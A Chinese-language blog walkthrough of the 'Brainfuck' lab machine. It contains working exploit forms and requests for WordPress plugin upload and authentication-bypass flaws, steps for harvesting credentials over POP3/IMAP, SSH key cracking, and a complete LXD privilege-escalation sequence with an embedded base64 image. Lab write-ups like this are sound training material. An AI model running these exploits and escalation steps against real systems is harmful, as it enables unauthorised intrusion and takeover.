OSCP系列-lab-Brainfuck

OSCP系列-lab-Brainfuck


环境:
内网 : kali 10.10.16.3
内网: 靶机 10.10.10.17

1.信息收集阶段

利用kali的nmap去做扫描

nmap -n -v -sS -p- 10.10.10.17 --max-retries=0 -oN scan.txt -Pn

命令解析可以去看第一篇OSCP文章
在这里插入图片描述

根据扫出来的端口 针对端口扫描

nmap -n -v -sC -sV -p 22,25,110,143,443 10.10.10.3 -oN Brainfuck.txt -Pn

有443端口 直接https访问下看看
在这里插入图片描述
扫一下目录

dirsearch -u https://10.10.10.17 -e*

扫描端口结果:
在这里插入图片描述

这里有三个邮件协议 smtp pop3 imap
估计就是要从邮件中协议去突破这个了
关于imap 有相关的CVE-2018-19518
加上web端是默认的那个nginx原始页面
从扫描结果还能看到三个域名:

brainfuck.htb
www.brainfuck.htb
sup3rs3cr3t.brainfuck.htb

那就改一下host文件把这三个域名解析到这个IP
在这里插入图片描述
两个页面如下:
在这里插入图片描述
这个提供了cms的信息wordpress
并且安装了smtp的相关插件
另外一个页面:
在这里插入图片描述
从这个页面可以发现一个admin账号 和一个 orestis 账号
现在能找到的点
WordPress cms的漏洞
WordPress stmp插件的漏洞
如果要找WordPress cms的漏洞 至少要先知道版本信息
whatweb简单查看下:

whatweb  https://brainfuck.htb/  

在这里插入图片描述
WordPress4.7.3

searchsploit wordpress 4.7.3

在这里插入图片描述
查看一下这个txt 的说明
在这里插入图片描述
整个都是英文 但是找到漏洞编号 CVE-2017-8295 百度找这个漏洞的利用方式和说明
参考资料:
https://blog.csdn.net/Fly_hps/article/details/79754612
在这里插入图片描述
这个一般来说渗透不会用到dos攻击类的东西 而且这个方法要求有点过高了万一对方磁盘配额很大那得发到猴年马月去?万一封IP了,删文件了,察觉到了这个方法显然不可取
那就应该是这个smtp插件的问题
参考资料:
http://cn-sec.com/archives/209763.html
简单说下这个漏洞 :
影响范围 Easy WP smtp < 1.4.4
由于漏洞是插件产生,所以wordpress版本选择不受影响。
该漏洞是因为SMTP在开启debug后,会记录重置管理员密码的链接地址
存放于wp-content/plugins/easy-wp-smtp/目录下,debug日志为一串随机字符串为命名的txt文件。

因为在受影响版本中,当前目录没有默认index.html,所以在开启了目录遍历后,可以看到该txt文件并访问。

那么我们回到登录页面,点击忘记密码,输入用户名然后点击“获取新密码”,此时重置密码连接就记录在debug日志中。
用户名可以通过api获取。访问wp-json/wp/v2/users即可。

2.漏洞试探

按照上述漏洞说明 此时我们访问
wp-content/plugins/easy-wp-smtp/这个目录 是没有index.html 是可以看到这个目录下的文件的
在这里插入图片描述
这里有个readme.txt 内容大概是这个版本号 没什么有用的信息 我就不再截图了
接下来去登录页面 —> 忘记密码 —> 获取新密码 —> 回到该目录就能看到重置链接了
在这里插入图片描述
这里还是得找到这个admin用户的证书
这个版本的WordPress 你输入存在的用户他会告诉你密码错误 输入不存在的用户他会告诉你用户不存在
验证admin用户存在 下一步就是找到这个admin用户的邮箱地址
我访问了这个wp-json/wp/v2/users接口 但是404 不知道是不是我姿势不对
因为是内网环境 这也不能搞个fofa ip whois 啥的 搜集一下邮箱 一筹莫展之际
我了解到SSL证书也是可能存在邮箱地址的地方 赶紧打开看看
在这里插入图片描述
哦豁 果然邮箱在这里 尝试下这个邮箱是否可用
又出错了 如下:
email可能未开启 回头看日志 也没生成
在这里插入图片描述
到这里就有点手足无措 虽然感觉就是这个漏洞 但是很显然现在不是这个
但是又能够访问这些文件 那就转着看看
往上一层又发现一个ticket的文件夹 看起来像是另外一个插件
在这里插入图片描述
一波三折 这个插件也有漏洞 而且还是RCE

在这里插入图片描述
还有个 越权的漏洞
在这里插入图片描述

RCE试探

先从RCE开始尝试(毕竟这个要是成功了就不用越权再想办法拿服务器权限那么麻烦了)
简单解释下两个漏洞的原理 和利用方式吧
REC:
在这里插入图片描述
意思是对于上传文件的后缀没有过滤很严格 phtml php5 这些都能上传了
越权:
在这里插入图片描述
这个翻译过来就是白话了
OK 尝试RCE:
按照 这个官方给出的payload来看 需要先写个html

<form method="post" enctype="multipart/form-data" action="https://www.brainfuck.htb/wp-admin/admin-ajax.php">
    <input type="hidden" name="action" value="wpsp_upload_attachment">
    Choose a file ending with .phtml:
    <input type="file" name="0">
    <input type="submit" value="Submit">
</form>

<!-- 
After doing this, an uploaded file can be accessed at, say:
上传完成后 上传的文件在下面这个目录下
http://example.com/wp-content/uploads/wpsp/1510248571_filename.phtml 
--!>

针对这个 首先我得看看这个路径是否存在 如果路径不存在那可能这个漏洞无法利用(也不排除上传过后才会创建这个路径) 总之这个靶机让我一波好几折 太痛苦了
按照官方文档先写个html 然后写个一句话 准备上传
在这里插入图片描述
准备好以后用python3开一个simple http

python3 -m http.server 99

在这里插入图片描述
上传过后
在这里插入图片描述
看起来像是上传成功了 但是我不是很放心 所以打算还是用brup抓个包看下
在这里插入图片描述
多上传了几个每次上传多一个那个attachment_id 就+1
按照官方文档里面的路径去看下
http://example.com/wp-content/uploads/wpsp/1510248571_filename.phtml
也就是这个路径 这个1510248571应该是时间戳 filname应该是上传文件名 那么根据我发的包来看
2023-4-14 16:11:50 -> 转换Unix时间戳 1681431110
上传文件名是: shell.phtml
那么拼接下文件名就是 1681431110_shell.phtml
但是:
我就知道 -_-
在这里插入图片描述
那往上看 上面的目录吧
ok 也就是说 现在的情况很有可能是上传成功了 但是并不知道他把上传目录的名字改成啥了 现在这个目录不存在 并且没有上传文件的相关路径回显
在这里插入图片描述
RCE无法利用 除非有个非常强大的字典爆破出来他的路径?

越权试探

同样的先构造一个页面

<form method="post" action="https://www.brainfuck.htb/wp-admin/admin-ajax.php">
	Username: <input type="text" name="username" value="administrator">
	<input type="text" name="email" value="sth">
	<input type="text" name="action" value="loginGuestFacebook">
	<input type="submit" value="Login">
</form>

还是一样去改地址
现正常访问下这个地址:
在这里插入图片描述
发现地址存在 果然要从越权开始做
步骤同上 写html python3 开simple http server 然后访问提交管理员用户名 admin 邮箱就是找到那个邮箱 最后一个参数默认就行 POST提交
kali没有hackbar 只能手动来 两种方法curl 和 Python3 哪种顺手用哪种

import request
url='https://www.brainfuck.htb/wp-admin/admin-ajax.php'
data={'username':'admin','email':'orestis@brainfuck.htb','action':'loginGuestFacebook'}
# 注意 因为地址是有SSL证书的所以要忽略证书错误
s=request.post(url=url,data=data,verify=False)
print(s.header)

在这里插入图片描述
运行的出结果:
在这里插入图片描述
关键信息 cookie:
有三条 但是两条一样的 只需要取两条不一样的就行了

'Set-Cookie': 
'wordpress_sec_4a881878556bfa5bb532816568f34de7=admin%7C1681664846%7C09b47kgYFS1ANXhirctE8ZJMncm1m1q29msdZOiygvG%7Cdfb1a77b7b8e9e78d2132ed5739a90e61907c7ddfe6bfb17bd88539a122d3395; path=/wp-content/plugins; secure; HttpOnly, 
wordpress_sec_4a881878556bfa5bb532816568f34de7=admin%7C1681664846%7C09b47kgYFS1ANXhirctE8ZJMncm1m1q29msdZOiygvG%7Cdfb1a77b7b8e9e78d2132ed5739a90e61907c7ddfe6bfb17bd88539a122d3395; path=/wp-admin; secure; HttpOnly, 
wordpress_logged_in_4a881878556bfa5bb532816568f34de7=admin%7C1681664846%7C09b47kgYFS1ANXhirctE8ZJMncm1m1q29msdZOiygvG%7C28719d446fd216759e370f9fb9d85017c452c79e5a144ed47026b1505978730d; 

#也就是说构造的cookie头为:
Cookie:wordpress_sec_4a881878556bfa5bb532816568f34de7=admin%7C1681664846%7C09b47kgYFS1ANXhirctE8ZJMncm1m1q29msdZOiygvG%7Cdfb1a77b7b8e9e78d2132ed5739a90e61907c7ddfe6bfb17bd88539a122d3395;wordpress_logged_in_4a881878556bfa5bb532816568f34de7=admin%7C1681664846%7C09b47kgYFS1ANXhirctE8ZJMncm1m1q29msdZOiygvG%7C28719d446fd216759e370f9fb9d85017c452c79e5a144ed47026b1505978730d;

第二种相对简单 但是我很少用 curl
先创建一个data文件

echo "username=admin&email=orestis@brainfuck.htb&action=loginGuestFacebook" > data
curl -X POST -v https://www.brainfuck.htb/wp-admin/admin-ajax.php -d @data -k 

ok解释下上面的命令
前面都不用说了 以POST的方式访问这个页面
-d 就是–data 选择要提交的数据
@data 把data文件的内容作为data数据提交
-k 忽略签名
得出结果一样的
接下来就是替换cookie 尝试越权 特意下载了个hackbar
不用hackbar 也行 用别的Cookie替换小插件或者直接brup抓包 替换也行
在这里插入图片描述
进到后台了 然后按照WordPress来说 截图的这个地方 就是他重定向404 的地方也就是你访问一个不存在的页面时他会跳转到这个代码
按常理来说 只要把这个代码修改成一个webshell 这个权限就应该拿下来了
但是 果然不出我所料 这个作者把WordPress所有目录应该都是不可写的
在这里插入图片描述

这里算是一个提示 说 你保存这个文件之前要确保这个文件可写
那基本上 上传shell 等一系列的操作其实都干不了了
WordPress 有关的RCE基本都要上传 或者修改 所以 这里还是不太行
还是回头看插件部分
在这里插入图片描述
四个插件 Easy SMTP 我觉得还是在这里 v1.2.5 明显是个有漏洞的版本
看看相关的设置
在这里插入图片描述
这里吧html里面的password改成text 这个没啥好说的
在这里插入图片描述
改出来:
orestis
kHGuERB29DNiNE
到这里梳理一下:
三个邮件协议SMTP —> 来自插件Easy SMTP -> 存在漏洞绕过登录 但是登录绕过无法实现 通过别的方式绕过登录了 也就是说Easy SMTP没用了
POP3 和 iamp 暂时都没用到 那这个邮箱账号要么是pop3 的 要么是iamp的
登录POP3

3.漏洞利用

telnet 10.10.10.17 110
user orestis
pass kHGuERB29DNiNE
list
retr 1
retr 2

上述命令 登录pop3 不懂的地方自行百度
看到两封邮件 一封是欢迎邮件还没写admin的密码
一封是现在另外一个网站的密码
那就在iamp里面看看

https://blog.csdn.net/lllzcm/article/details/85255960

telnet 10.10.10.17 143
a01 login orestis kHGuERB29DNiNE
a02 list "" * #列出所有邮箱
a03 select INBOX #选择邮箱
a04 search all #查询所有邮件 
a05 fetch 1 rfc822 #查看第一封邮件
a06 fetch 2 rfc822 #查看第二封邮件

当你做完上述一切你会发现两个邮件的内容一模一样 我!..

在这里插入图片描述
这个关键信息
username: orestis
password: kIEnnfEKJ#9UmdO
ok拿这个账号去登录另外一个网站
进入以后看到三个对话
在这里插入图片描述
在这里插入图片描述
看起来这个圈出来的比较有用 但是很显然是加密过得 截图的时候发现好像两个人对喷
至此 完全没有思路了
接下来看教程 原来这里用的加密 维吉尼亚密码
有好的在线工具不用自己闭门造车个什么劲儿啊
https://www.qqxiuzi.cn/bianma/weijiniyamima.php
https://rumkin.com/tools/cipher/vigenere/
两个解密网站随便用!

在这里插入图片描述

c1='qbqquzspnhekxsdpifcafhfzdmgzt' 密文
c2='orestishackingforfunandprofit' 秘钥
# 解密出来:
c3='ckmybrainfuckmybrainfuckmybra'

c3 就是 fuckmybrain 两个组合 所以再用这个去解开ssh 秘钥的地址
mnvze://zsrivszwm.rfz/8cr5ai10r915218697i1w658enqc0cs8/ozrxnkc/ub_sja
在这里插入图片描述
解密出来的地址:
https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa
下载这个秘钥:

curl https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa -k -o id_rsa
# 通过 ssh2john 把id_rsa转换为哈希,以便使用 john 爆破。
python /usr/share/john/ssh2john.py id_rsa > id_rsa.john

在这里插入图片描述
爆破密码

john id_rsa.john --wordlist=/usr/share/wordlists/rockyou.txt 
ssh -i id_rsa orestis@10.10.10.17
# 输入密码
# 3poulakia!

在这里插入图片描述
user.txt
2c11cfbc5b959f73ac15a3310bd097c9
在这里插入图片描述
拿到了

4.提权

在当前用户家目录中发现多个txt文档,其中output.txt提示为加密后的密码。
在这里插入图片描述
而encrypt.sage是 SageMath 脚本文件,这种编程语言建立在 Python 之上,因此看起来与 Python 并没有什么两样。(讲道理我都没听过这个脚本)
在这里插入图片描述

代码显示脚本使用 RSA 加密机制,读取/root/root.txt内容并转换为整数m,经编码后为十六进制字符串,最终使用 Integer 函数把结果转换为整数;通过 random_prime 函数随机生成两个素数p、q,它们用于生成公钥的模数n;当然公钥还包含一个指数e,它从小于n的整数phi中随机选择,而phi等于p-1和q-1的乘积,同时检查e的值以确保它与phi互质。最终密码m使用公钥(e,n)进行加密,方法转换为数学公式是c = (m**e)%n,加密后的密码写入至output.txt,而p、q、e输出至debug.txt。
根据 RSA 算法机制以及p、q、e计算私钥d和明文m。

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y

def main():

    p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
    q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
    e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
    ct = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182

    # compute n
    n = p * q

    # Compute phi(n)
    phi = (p - 1) * (q - 1)

    # Compute modular inverse of e
    gcd, a, b = egcd(e, phi)
    d = a

    print( "n:  " + str(d) );

    # Decrypt ciphertext
    pt = pow(ct, d, n)
    print( "pt: " + str(pt) )

if __name__ == "__main__":
    main()

在这里插入图片描述
使用f-string把pt中的值转换为十六进制字符串,再通过bytes.fromhex()把十六进制字符串转换为字符串,其中decode()方法的默认编码为UTF-8,因此生成的字符串以UTF-8编码。

python3
> pt = 24604052029401386049980296953784287079059245867880966944246662849341507003750
> f"{pt:x}"
> bytes.fromhex(f"{pt:x}").decode()

在这里插入图片描述
第二个flag 拿到了

LXD/LXC容器提权

LXD 是基于 LXC 容器技术实现的轻量级容器管理程序,而 LXC 是 Linux 系统自带的容器。提权原理与 Docker 提权非常相似,本质都是利用用户创建一个容器,在容器中挂载宿主机的磁盘后使用容器的权限操作宿主机磁盘修改敏感文件,比如/etc/passwd、/root/.ssh/authorized_keys、/etc/sudoers等,从而完成提权。

通过id命令发现当前用户处于lxd用户组当中。

在这里插入图片描述
经命令查询后发现当前主机并不存在容器及相关镜像。

lcx list
lcx image list

在创建容器之前必须先上传一个镜像,首先进入/dev/shm目录通过 base64 编码写入镜像包。

echo QlpoOTFBWSZTWaxzK54ABPR/p86QAEBoA//QAA3voP/v3+AACAAEgACQAIAIQAK8KAKCGURPUPJGRp6gNAAAAGgeoA5gE0wCZDAAEwTAAADmATTAJkMAATBMAAAEiIIEp5CepmQmSNNqeoafqZTxQ00HtU9EC9/dr7/586W+tl+zW5or5/vSkzToXUxptsDiZIE17U20gexCSAp1Z9b9+MnY7TS1KUmZjspN0MQ23dsPcIFWwEtQMbTa3JGLHE0olggWQgXSgTSQoSEHl4PZ7N0+FtnTigWSAWkA+WPkw40ggZVvYfaxI3IgBhip9pfFZV5Lm4lCBExydrO+DGwFGsZbYRdsmZxwDUTdlla0y27s5Euzp+Ec4hAt+2AQL58OHZEcPFHieKvHnfyU/EEC07m9ka56FyQh/LsrzVNsIkYLvayQzNAnigX0venhCMc9XRpFEVYJ0wRpKrjabiC9ZAiXaHObAY6oBiFdpBlggUJVMLNKLRQpDoGDIwfle01yQqWxwrKE5aMWOglhlUQQUit6VogV2cD01i0xysiYbzerOUWyrpCAvE41pCFYVoRPj/B28wSZUy/TaUHYx9GkfEYg9mcAilQ+nPCBfgZ5fl3GuPmfUOB3sbFm6/bRA0nXChku7aaN+AueYzqhKOKiBPjLlAAvxBAjAmSJWD5AqhLv/fWja66s7omu/ZTHcC24QJ83NrM67KACLACNUcnJjTTHCCDUIUJtOtN+7rQL+kCm4+U9Wj19YXFhxaXVt6Ph1ALRKOV9Xb7Sm68oF7nhyvegWjELKFH3XiWstVNGgTQTWoCjDnpXh9+/JXxIg4i8mvNobXGIXbmrGeOvXE8pou6wdqSD/F3JFOFCQrHMrng= | base64 -d > bob.tar.bz2

把镜像包导入至LXC当中。

lxc image import bob.tar.bz2 --alias bobImage

查看当前镜像发现bobImage已存在。

lxc image list

在这里插入图片描述
初始化容器并设置容器名为bobVM,与此同时添加文件系统的根目录至/r。

lxc init bobImage bobVM -c security.privileged=true
lxc config device add bobVM realRoot disk source=/ path=r

在这里插入图片描述
启动容器后检查容器是否运行。

lxc start bobVM
lxc list

进入容器运行bash,成功找到/r目录。

lxc exec bobVM -- /bin/bash

提权成功
在这里插入图片描述
6efc1a5dbb8904751ce6566a305bb8ef

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值